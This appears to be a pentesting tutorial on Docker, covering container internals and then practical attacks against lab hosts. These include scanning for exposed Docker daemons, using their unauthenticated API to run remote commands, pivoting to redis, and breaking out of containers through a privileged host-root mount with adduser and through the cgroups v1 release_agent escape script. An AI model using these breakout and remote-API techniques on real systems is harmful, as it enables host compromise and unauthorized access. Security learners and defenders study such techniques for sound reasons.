🐳docker pentesting
Docker Pentesting
Theory
Linux Containers
Containers have been popular within many of platform as a service (PaaS) offerings since the late 2000s. Docker is a software package for building cross-platform container solutions. Linux, however, has some unique properties that allow both proprietary container software and various other container technologies to exist.
Some of the more commonly used technologies include the following:
chroot, which is a technology that changes the root directory for a process and its children
Union mount file systems, such as Overlay2, Overlay, 4 and Aufs
Container Internals
Containers were not based on any standard when they were first conceived of; in fact, the Open Container Initiative (OCI5) was established in 2015 by the Docker company. Prior to 2015, many container frameworks created their own standards for how to interact with the kernel. This has led to many different types of container runtimes in one form or another over the last several years. Regardless of the differences in Linux containers, many of the initial constructs remain the same.
Cgroups
Starting in version 2.6.24 of the Linux Kernel, a functionality known as control groups, or cgroups for short, was released. The latest release of cgroups (cgroups v2) was introduced in Kernel 4.5 and brings security enhancements to the system. Control groups are a series of kernel-level resource controls for processes that can include the ability to limit resources, such as CPU, network, and disk, and isolate those resources from one another.
Namespaces
Namespaces, similar to how programming like C++ use them, allow for a process or collection of kernel control objects to be grouped together. This grouping limits or controls what that process or object can see.
To leverage the namespace, we can use a set of APIs that are exposed by the kernel itself:
clone() This will clone a process and then create the appropriate namespace for it.
setns() This allows an existing process to move into a namespace that we may be able to use.
unshare() This moves the process out of a namespace.
Storage
The mechanism that Docker and several other container runtimes use is known as a union file system (UnionFS).
There are several union file systems in existence today, such as Aufs and OverlayFS. Overlay2 is the current filesystem which uses a technology that merges different directories together to form a consolidated filesystem.
Container Security
Containers are designed to be a “point-in-time” style of system that doesn’t change. This is a benefit for software developers to continue to support applications that had been compiled on much older versions of software, but it’s also an advantage for attackers who want to leverage older vulnerabilities in software.
Practical
Create a docker container
mkdir -p containers/easy
cd containers/easy; nano Dockerfile
Edit the Dockerfile
FROM debian:bullseye-slim
CMD ["bash"]
Build and Run container
docker build -t <name> .
docker run -it <name> /bin/bash
Most of the containers you encounter will have strange hostnames attached them. The standard Docker container will have the last part of the SHA-256 hash that is used as the cgroup marker on the host. This may become important later when you want to locate the running processes.
View the cgroup location
cd /proc/$(pidof docker run)
cat cgroup
Docker API commands
# List all containers running or stopped
docker container ls -all
# Stop a container
docker stop
# Removes a container
docker rm
# View docker processes
docker ps
Container Storage
let’s begin by creating a very simple container that when run will give us a shell:
mkdir -p containers/nmap
cd containers/nmap; nano Dockerfile
The Dockerfile we create will also be of Debian:bullseye- slim. Using the OverlayFS, this layer should match the existing container, and only changes should be appended:
FROM debian:bullseye-slim
RUN apt update -y && \
apt-get install nmap -y
ENTRYPOINT ["/usr/bin/nmap"]
Build and Run the container
docker build -t <name> .
docker run -it <name> scanme.nmap.org
Look for Docker Daemons
nmap -p2375,2376 192.168.56.12 -A
To explore this further, let’s first look at the API without the client:
curl http://192.168.56.12:2375/containers/json | jq ''
curl http://192.168.56.12:2375/images/json | jq ''
Interact with docker API
View the remote host's processes
docker -H 192.168.56.12 ps
Execute Commands Remotely
docker -H 192.168.56.12 exec -it targets_web_1 /bin/sh
env Command
env
The HOSTNAME=: string that follows is in 8-digit hex format, indicative of a Docker container naming convention
The PYTHON_VERSION= string indicates that the container is specifically only for Python or a Python- based service, like flask.
ps command
ps -ef
mount command
mount
netstat command
netstat -an
Pivoting
We can move laterally in an environment several ways, including setting up port forwards and proxies. We can also just bring down binaries to help us move further in an environment until we need to perform an additional direct pivot.
OS details
cat /etc/os-release
Install redis for alpine linux
apk --update add redis
Run redis-cli
redis-cli -h redis
KEYS *
Breaking Out of Containers
Privileged Pods
Let’s execute a Docker container using the privileged command and passing in devices from the host.
docker -H 192.168.56.12 run -it --name nginx --privileged --ipc=host --net=host --pid=host -v /:/host ubuntu
# list processes
ps -ef
# make our container’s root the host’s root
chroot /host
# show all the processes on the host
systemctl status
# add a user
adduser <username>
# exit
exit
Abusing Cgroups
# Set the directory to /sys/fs/cgroup/rdma
dir = `dirname $(ls -x /s*/fs/c*/*/r* | head -n1)`
echo $dir
ls $dir
mkdir -p $dir/w
$dir/w/notify_on_release
cat $dir/w/notify_on_release
# locate our overlay file system location
mtab=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo $mtab
touch /output
echo $mtab/cmd > $dir/release_agent; printf '#!/bin/sh\nps >'"$mtab/output" > /cmd
cat /cmd
#make the command executable and tell the cgroup that we created in /w to exit
chmod +x /cmd;sh -c "echo 0 > $dir/w/cgroup.procs";sleep 1;cat /output
Why is this possible? How can we accomplish these commands? First of all, the cgroups v1 system has to be in place, which will be in place for quite some time, as the Linux Kernel did not introduce cgroups v2 until Kernel version 4.5 and was not in major distribution until Fedora 31. Ubuntu 18.04 LTS and 20.04 LTS still use cgroups v1, as do many RedHat distributions still in use today. The next thing we need is either the --privilege flag or the kernel capabilities that enable mount. This is just one example of many in which a kernel attack can lead to system compromise. Have you ever seen any kernel exploits in the wild that may also be a vehicle for this?
REFERENCES
www.kernel.org/doc/html/latest/admin-guide/cgroup-v1/cgroups.html
www.netdevconf.info/1.1/proceedings/slides/rosen-namespaces-cgroups-lxc.pdf
www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
www.github.com/opencontainers/image-spec/blob/master/spec.md
www.kernel.org/doc/Documentation/cgroup-v2.txt
www.docs.docker.com/engine/api/v1.41/
www.twitter.com/_fel1x/status/1151487051986087936
Was this helpful?